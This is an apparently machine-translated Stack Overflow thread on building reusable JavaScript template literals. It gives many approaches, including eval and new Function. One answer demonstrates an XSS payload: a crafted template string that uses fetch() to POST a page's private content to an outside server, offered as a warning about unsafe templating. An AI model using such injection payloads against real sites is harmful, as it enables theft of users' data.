187

tl; dr:是否可以制作可重用的模板文字?

我一直在尝试使用模板文字,但我想我只是不明白,现在我感到沮丧。我的意思是,我想我明白了,但“它”不应该是它的工作方式,或者它应该如何得到。它应该变得不同。

我看到的所有示例(甚至标记的模板)都要求在声明时而不是运行时完成“替换”,这对我来说对于模板来说似乎完全没用。也许我疯了,但对我来说,“模板”是一个包含标记的文档,当你使用它时,它会被替换,而不是在你创建它时,否则它只是一个文档(即字符串)。模板与令牌一起存储为令牌,并且在您...评估时评估这些令牌。

每个人都举了一个类似的可怕例子:

var a = 'asd';
return `Worthless ${a}!`

这很好,但如果我已经知道了a,我会选择return 'Worthless asd'return 'Worthless '+a。重点是什么?严重地。好吧,关键是懒惰;更少的优点,更多的可读性。伟大的。但这不是模板!不是恕我直言。而 MHO 才是最重要的!恕我直言,问题在于模板在声明时被评估,所以,如果你这样做,恕我直言:

var tpl = `My ${expletive} template`;
function go() { return tpl; }
go(); // SPACE-TIME ENDS!

由于expletive没有声明,它输出类似My undefined template. 极好的。实际上,至少在 Chrome 中,我什至不能声明模板;expletive由于未定义,因此会引发错误。我需要的是能够在声明模板后进行替换:

var tpl = `My ${expletive} template`;
function go() { return tpl; }
var expletive = 'great';
go(); // My great template

但是我不明白这是怎么可能的,因为这些并不是真正的模板。即使你说我应该使用标签,不,它们也不起作用:

> explete = function(a,b) { console.log(a); console.log(b); }
< function (a,b) { console.log(a); console.log(b); }
> var tpl = explete`My ${expletive} template`
< VM2323:2 Uncaught ReferenceError: expletive is not defined...

这一切都让我相信模板文字的名字非常糟糕,应该被称为它们的真正含义:heredocs。我想“字面意思”部分应该告诉我(如,不可变)?

我错过了什么吗?有没有(好的)方法来制作可重用的模板文字?


我给你,可重用的模板文字

> function out(t) { console.log(eval(t)); }
  var template = `\`This is
  my \${expletive} reusable
  template!\``;
  out(template);
  var expletive = 'curious';
  out(template);
  var expletive = 'AMAZING';
  out(template);
< This is
  my undefined reusable
  template!
  This is
  my curious reusable
  template!
  This is
  my AMAZING reusable
  template!

这是一个天真的“助手”功能......

function t(t) { return '`'+t.replace('{','${')+'`'; }
var template = t(`This is
my {expletive} reusable
template!`);

...使其“更好”。

我倾向于称它们为模板肠道,因为它们产生曲折感觉的区域。

4

24 回答 24

120

为了使这些文字像其他模板引擎一样工作,需要一个中间形式。

最好的方法是使用Function构造函数。

const templateString = "Hello ${this.name}!";
const templateVars = {
    name: "world"    
}

const fillTemplate = function(templateString, templateVars){
    return new Function("return `"+templateString +"`;").call(templateVars);
}

console.log(fillTemplate(templateString, templateVars));

与其他模板引擎一样,您可以从其他地方(如文件)获取该字符串。

使用这种方法可能会出现一些问题,比如模板标签很难使用,但如果你很聪明,可以添加这些问题。由于后期插值,您也不能拥有内联 JavaScript 逻辑。这也可以通过一些想法来解决。

于 2016-05-13T18:39:53.153 回答
88

您可以将模板字符串放入函数中:

function reusable(a, b) {
  return `a is ${a} and b is ${b}`;
}

您可以对标记的模板执行相同的操作:

function reusable(strings) {
  return function(... vals) {
    return strings.map(function(s, i) {
      return `${s}${vals[i] || ""}`;
    }).join("");
  };
}

var tagged = reusable`a is ${0} and b is ${1}`; // dummy "parameters"
console.log(tagged("hello", "world"));
// prints "a is hello b is world"
console.log(tagged("mars", "jupiter"));
// prints "a is mars b is jupiter"

这个想法是让模板解析器从变量“slots”中分离出常量字符串,然后返回一个函数,每次都根据一组新值将它们重新组合在一起。

于 2015-05-02T14:25:13.593 回答
64

可能最简洁的方法是使用箭头函数(因为此时,我们已经在使用 ES6)

var reusable = () => `This ${object} was created by ${creator}`;

var object = "template string", creator = "a function";
console.log (reusable()); // "This template string was created by a function"

object = "example", creator = "me";
console.log (reusable()); // "This example was created by me"

...对于标记的模板文字:

reusable = () => myTag`The ${noun} go ${verb} and `;

var noun = "wheels on the bus", verb = "round";
var myTag = function (strings, noun, verb) {
    return strings[0] + noun + strings[1] + verb + strings[2] + verb;
};
console.log (reusable()); // "The wheels on the bus go round and round"

noun = "racecars", verb = "fast";
myTag = function (strings, noun, verb) {
    return strings[0] + noun + strings[1] + verb;
};
console.log (reusable()); // "The racecars go fast"

这也避免了使用eval()or Function()which 可能导致编译器出现问题并导致大量减速。

于 2017-08-12T11:13:15.980 回答
41

是的,您可以通过Function(或eval)将模板解析为 JS 的字符串来实现 - 但不建议这样做,并允许XSS 攻击

// unsafe string-template function
const fillTemplate = function(templateString, templateVars){
    return new Function("return `"+templateString +"`;").call(templateVars);
}


function parseString() {
  // Example malicious string which will 'hack' fillTemplate function
  var evilTemplate = "`+fetch('https://server.test-cors.org/server?id=9588983&enable=true&status=200&credentials=false',{method: 'POST', body: JSON.stringify({ info: document.querySelector('#mydiv').innerText }) }) + alert('stolen')||''`";

  var templateData = {Id:1234, User:22};
  var result = fillTemplate(evilTemplate, templateData);

  console.log(result);

  alert(`Look on Chrome console> networks and look for POST server?id... request with stolen data (in section "Request Payload" at the bottom)`);

}
#mydiv { background: red; margin: 20px}

.btn { margin: 20px; padding: 20px; }
<pre>
CASE: system allow users to use 'templates' and use
fillTemplate function to put variables into that templates
Then backend save templates in DB and show them to other users...

Some bad user/hacker can then prepare malicious template 
with JS code... and when other logged users "see" that malicious 
template (e.g. by "Click me!" in this example), 
then it can read some information from their current 
page with private content and send it to external server. 

Or in worst case, that malicious template can send some 
authorized "action" request to the backend... 
(like e.g. action which delete some user content or change his name etc.).
In case when logged user was Admin then
action can be even more devastating (like delete user etc.)
</pre>
<div id='mydiv'>
Private content of some user
</div>

<div id="msg"></div>

<button class="btn" onclick="parseString()">Click me! :)</button>

相反,您可以安全地将对象obj字段以动态方式插入模板str,如下所示

let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);

let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);


// --- test ---

// parameters in object
let t1 = 'My name is ${name}, I am ${age}. My brother name is also ${name}.';
let r1 = inject(t1, {name: 'JOHN',age: 23} );
console.log("OBJECT:", r1);


// parameters in array
let t2 = "Values ${0} are in ${2} array with ${1} values of ${0}."
let r2 = inject(t2, ['A,B,C', 666, 'BIG'] );
console.log("ARRAY :", r2);

于 2019-04-09T13:54:45.867 回答
17

2019年答案

注意:该库最初希望用户清理字符串以避免 XSS。该库的第 2 版不再需要对用户字符串进行清理(Web 开发人员无论如何都应该这样做),因为它eval完全避免了。

es6-dynamic-templatenpm上的模块就是这样做的。

const fillTemplate = require('es6-dynamic-template');

与当前答案不同:

  • 它使用 ES6 模板字符串,而不是类似的格式。更新版本 2 使用类似的格式,而不是 ES6 模板字符串,以防止用户使用未经处理的输入字符串。
  • 它不需要this在模板字符串中
  • 您可以在单个函数中指定模板字符串和变量
  • 它是一个维护的、可更新的模块,而不是 StackOverflow 的 copypasta

用法很简单。使用单引号作为模板字符串将在稍后解析!

const greeting = fillTemplate('Hi ${firstName}', {firstName: 'Joe'});
于 2018-06-28T09:25:41.093 回答
16

简化@metamorphasi 提供的答案;

const fillTemplate = function(templateString, templateVars){
  var func = new Function(...Object.keys(templateVars),  "return `"+templateString +"`;")
  return func(...Object.values(templateVars));
}

// Sample
var hosting = "overview/id/d:${Id}";
var domain = {Id:1234, User:22};
var result = fillTemplate(hosting, domain);

console.log(result);

于 2018-10-15T13:38:26.760 回答
14

2021 年出现了迄今为止最直接的解决方案。

const tl = $ =>`This ${$.val}`;
tl({val: 'code'});

这几乎与编写和重用模板文字(OP 想要的)相同。

你可以从这里调整一些东西......

于 2021-02-07T19:35:33.760 回答
9

如果您不想使用有序参数或上下文/命名空间来引用模板中的变量,例如${0}${this.something}${data.something},您可以拥有一个模板函数来为您处理范围。

如何调用此类模板的示例:

const tempGreet = Template(() => `
  <span>Hello, ${name}!</span>
`);
tempGreet({name: 'Brian'}); // returns "<span>Hello, Brian!</span>"

模板功能:

function Template(cb) {
  return function(data) {
    const dataKeys = [];
    const dataVals = [];
    for (let key in data) {
      dataKeys.push(key);
      dataVals.push(data[key]);
    }
    let func = new Function(...dataKeys, 'return (' + cb + ')();');
    return func(...dataVals);
  }
}

这种情况下的怪癖是你只需要传递一个返回 ES6 模板文字的函数(在示例中我使用了箭头函数)。我认为获得我们所追求的那种可重复使用的插值是一个小的权衡。

它在 GitHub 上:https ://github.com/Adelphos/ES6-Reuseable-Template

于 2018-01-30T00:32:57.263 回答
9

简短的回答就是在 lodash 中使用_.template

// Use the ES template literal delimiter as an "interpolate" delimiter.
// Disable support by replacing the "interpolate" delimiter.
var compiled = _.template('hello ${ user }!');
compiled({ 'user': 'pebbles' });
// => 'hello pebbles!'
于 2019-02-12T00:25:26.823 回答
7

我错过了什么吗?有没有一种[好的]方法来制作可重用的模板文字?

也许遗漏了一些东西,因为我对这个问题的解决方案对我来说似乎很明显,以至于我很惊讶没有人在这么老的问题中写过这个。

我有一个几乎单行的:

function defer([first, ...rest]) {
  return (...values) => rest.reduce((acc, str, i) => acc + values[i] + str, first);
}

就这样。当我想重用模板并推迟替换的解决方案时,我只是这样做:

> t = defer`My template is: ${null} and ${null}`;
> t('simple', 'reusable');          // 'My template is: simple and reusable'
> t('obvious', 'late to the party'; // 'My template is: obvious and late to the party'
> t(null);                          // 'My template is: null and undefined'
>
> defer`Choose: ${'ignore'} / ${undefined}`(true, false); // 'Choose: true / false'

应用此标记返回忽略传递给文字的任何参数的'function'(而不是)。'string'然后可以稍后使用新参数调用它。如果一个参数没有对应的替换,它就变成'undefined'.


扩展答案

这个简单的代码是功能性的,但是如果您需要更详细的行为,可以应用相同的逻辑并且有无限的可能性。你可以:

  1. 利用原始参数:

您可以在构造中存储传递给文字的原始值,并在应用模板时以创造性的方式使用它们。它们可以成为标志、类型验证器、函数等。这是一个使用它们作为默认值的示例:

    function deferWithDefaults([first, ...rest], ...defaults) {
      return (...values) => rest.reduce((acc, curr, i) => {
        return acc + (i < values.length ? values[i] : defaults[i]) + curr;
      }, first);
    }

然后:

    > t = deferWithDefaults`My template is: ${'extendable'} and ${'versatile'}`;
    > t('awesome');                 // 'My template is: awesome and versatile' 
  1. 编写模板工厂:

通过将此逻辑包装在一个函数中,该函数期望一个自定义函数作为参数,该函数可以应用于归约(当连接模板文字的片段时)并返回具有自定义行为的新模板。

    const createTemplate = fn => function (strings, ...defaults) {
      const [first, ...rest] = strings;
      return (...values) => rest.reduce((acc, curr, i) => {
        return acc + fn(values[i], defaults[i]) + curr;
      }, first);
    };

然后,您可以编写模板,在编写嵌入式 html、css、sql、bash 时自动转义或清理参数...

    function sqlSanitize(token, tag) {
      // this is a gross simplification, don't use in production.
      const quoteName = name => (!/^[a-z_][a-z0-9_$]*$/.test(name) ? `"${name.replace(/"/g, '""')}"` : name);
      const quoteValue = value => (typeof value == 'string' ? `'${value.replace(/'/g, "''")}'` : value);
      switch (tag) {
        case 'table':
          return quoteName(token);
        case 'columns':
          return token.map(quoteName);
        case 'row':
          return token.map(quoteValue);
        default:
          return token;
      }
    }

    const sql = createTemplate(sqlSanitize);

使用这个天真的(我重复一遍,天真的!) sql 模板,我们可以构建这样的查询:

    > q  = sql`INSERT INTO ${'table'} (${'columns'})
    ... VALUES (${'row'});`
    > q('user', ['id', 'user name', 'is"Staff"?'], [1, "O'neil", true])
    // `INSERT INTO user (id,"user name","is""Staff""?")
    // VALUES (1,'O''neil',true);`
  1. 接受命名参数以进行替换:根据已经给出的内容,一个不那么难的练习。在这个其他答案中有一个实现。

  2. 使返回对象表现得像一个'string':嗯,这是有争议的,但可能会导致有趣的结果。显示在这个其他答案中。

  3. 在调用站点解析全局命名空间中的参数:

我给你,可重用的模板文字:

好吧,这就是 OP 显示的是他的附录,使用命令evil,我的意思是,eval。这可以在没有的情况下完成eval,只需将传递的变量名称搜索到全局(或窗口)对象中即可。我不会展示如何做,因为我不喜欢它。闭包是正确的选择。

于 2019-01-10T08:46:12.097 回答
7

Thanks to @Quentin-Engles with the excellent idea and the top answer, that got me started!

But I stored the new Function directly in a variable instead of returning the Function each time, so that both the function and the template literal are only built once, instead of each time you call it, like it is in Quentin's answer.

const templateString = "Hello ${this.name}.";
var myData = {
    name: "world"    
};

const buildItem = new Function("return `" + templateString + "`;");

console.log(buildItem.call(myData));  // Hello world.

myData.name = "Joe";
console.log(buildItem.call(myData));  // Hello Joe.
于 2020-10-29T18:20:22.573 回答
5

一般来说,我反对使用 evil eval(),但在这种情况下它是有道理的:

var template = "`${a}.${b}`";
var a = 1, b = 2;
var populated = eval(template);

console.log(populated);         // shows 1.2

然后,如果您更改值并再次调用 eval(),您将获得新结果:

a = 3; b = 4;
populated = eval(template);

console.log(populated);         // shows 3.4

如果你想要它在一个函数中,那么它可以这样写:

function populate(a, b){
  return `${a}.${b}`;
}
于 2017-07-11T01:35:18.440 回答
5

您可以只使用单行标记模板,例如:

const SERVICE_ADDRESS = (s,tenant) => `http://localhost/${tenant}/api/v0.1/service`;

在客户端代码中,您可以像这样使用它:

const myTenant = 'me';
fetch(SERVICE_ADDRESS`${myTenant}`);
于 2021-06-17T13:18:30.663 回答
4

如果您正在寻找一些相当简单的东西(只是固定变量字段,没有计算,条件......)但在没有模板字符串支持的浏览器(如 IE 8,9,10,11 ...</p>

开始了:

fillTemplate = function (templateString, templateVars) {
    var parsed = templateString;
    Object.keys(templateVars).forEach(
        (key) => {
            const value = templateVars[key]
            parsed = parsed.replace('${'+key+'}',value)
        }
    )
    return parsed
}
于 2018-05-15T07:42:49.083 回答
3

const fillTemplate = (template, values) => {
  template = template.replace(/(?<=\${)\w+(?=})/g, v=>"this."+v);
  return Function.apply(this, ["", "return `"+template+"`;"]).call(values);
};

console.log(fillTemplate("The man ${man} is brother of ${brother}", {man: "John", brother:"Peter"}));
//The man John is brother of Peter

于 2020-07-13T08:04:12.627 回答
3

我对每次键入所需的额外冗余感到恼火this.,因此我还添加了正则表达式来扩展变量,例如.ato this.a

解决方案:

const interp = template => _thisObj =>
function() {
    return template.replace(/\${([^}]*)}/g, (_, k) =>
        eval(
            k.replace(/([.a-zA-Z0-9$_]*)([a-zA-Z0-9$_]+)/, (r, ...args) =>
                args[0].charAt(0) == '.' ? 'this' + args[0] + args[1] : r
            )
        )
    );
}.call(_thisObj);

像这样使用:

console.log(interp('Hello ${.a}${.b}')({ a: 'World', b: '!' }));
// outputs: Hello World!
于 2018-11-21T01:06:42.133 回答
3

这是我最好的尝试:

var s = (item, price) => {return `item: ${item}, price: $${price}`}
s('pants', 10) // 'item: pants, price: $10'
s('shirts', 15) // 'item: shirts, price: $15'

概括:

var s = (<variable names you want>) => {return `<template with those variables>`}

如果您没有运行 E6,您还可以执行以下操作:

var s = function(<variable names you want>){return `<template with those variables>`}

这似乎比以前的答案更简洁一些。

https://repl.it/@abalter/reusable-JS-template-literal

于 2018-03-28T15:47:41.717 回答
2

更新:以下答案仅限于单个变量名称,因此,模板如:'Result ${a+b}'在这种情况下无效。但是,您始终可以使用模板值:

format("This is a test: ${a_b}", {a_b: a+b});

原始答案:

基于先前的答案,但创建了一个更“友好”的实用函数:

var format = (template, params) => {
    let tpl = template.replace(/\${(?!this\.)/g, "${this.");
    let tpl_func = new Function(`return \`${tpl}\``);

    return tpl_func.call(params);
}

您可以像这样调用它:

format("This is a test: ${hola}, second param: ${hello}", {hola: 'Hola', hello: 'Hi'});

结果字符串应该是:

'This is a test: Hola, second param: Hi'
于 2017-11-16T10:57:48.633 回答
2

我只是发布了一个可以简单地完成这项工作的 npm 包。这个答案深受启发。

const Template = require('dynamic-template-string');

var tpl = new Template('hello ${name}');

tpl.fill({name: 'world'}); // ==> 'hello world';
tpl.fill({name: 'china'}); // ==> 'hello china';

它的实现非常简单。希望你会喜欢它。


module.exports = class Template {
  constructor(str) {
    this._func = new Function(`with(this) { return \`${str}\`; }`);
  }

  fill(data) {
    return this._func.call(data);
  }
}
于 2019-02-22T01:45:05.963 回答
1

你可以像这样使用内联箭头函数,定义:

const template = (substitute: string) => `[^.?!]*(?<=[.?\s!])${substitute}(?=[\s.?!])[^.?!]*[.?!]`;

用法:

console.log(template('my replaced string'));
于 2019-09-26T19:19:11.920 回答
1

运行时模板字符串

var templateString = (template, values) => {
    let output = template;
    Object.keys(values)
        .forEach(key => {
        output = output.replace(new RegExp('\\$' + `{${key}}`, 'g'), values[key]);
    });
    return output;
};

测试

console.debug(templateString('hello ${word} world', {word: 'wonderful'}));
于 2019-11-28T07:51:09.367 回答
1

您可以使用以下函数来动态解析模板,提供新数据。

这使用了 javascript 的一个非常常见的功能,称为 Tagged Template Literal


function template(...args) {
  return (values) =>
    args[0].reduce(
      (acum, current, index) => 
        acum.concat(
          current, values[index] === undefined ? '' : values[index]
        ),
      ''
    )
}

const person = 'Lydia';
const age = 21;

template `${person} is ${age} years old... yes He is ${age}`(['jose', 35, 38]); //?

于 2021-01-15T03:55:24.427 回答
1

当我遇到它时,这让我非常头疼。javascript 中的文字模板非常酷,但它们 **** 可重用或具有动态值。但解决方案非常简单。如此简单,事实上,在花了几天时间编写解析器和格式化程序以及其他所有死路一条的解决方案后,我不得不踢自己几次。最后在我放弃这个想法并打算使用 mustache 或其他模板模块后,它击中了我......

const DT = function dynamicTemplate(source) { return (new Function(`return \`${source}\``))() }

//let a = 1, b = 2;
//DT("${a} + ${b} equals ${a + b}")
// prints '1 + 2 equals 3'

这就是她写的全部内容。

于 2021-11-30T17:46:50.370 回答
0

如果您使用的是 Angular,则可以使用@ngx-translate/core这样的包:

import { TranslateDefaultParser } from '@ngx-translate/core';

export class SomeClass {
    public parser = new TranslateDefaultParser();
    test() {
        // outputs "This is my great reusable template!"
        this.parser.interpolate('This is my ${expletive} reusable template!', { expletive: 'great' });
    }
    ...
}
于 2021-12-07T22:28:09.957 回答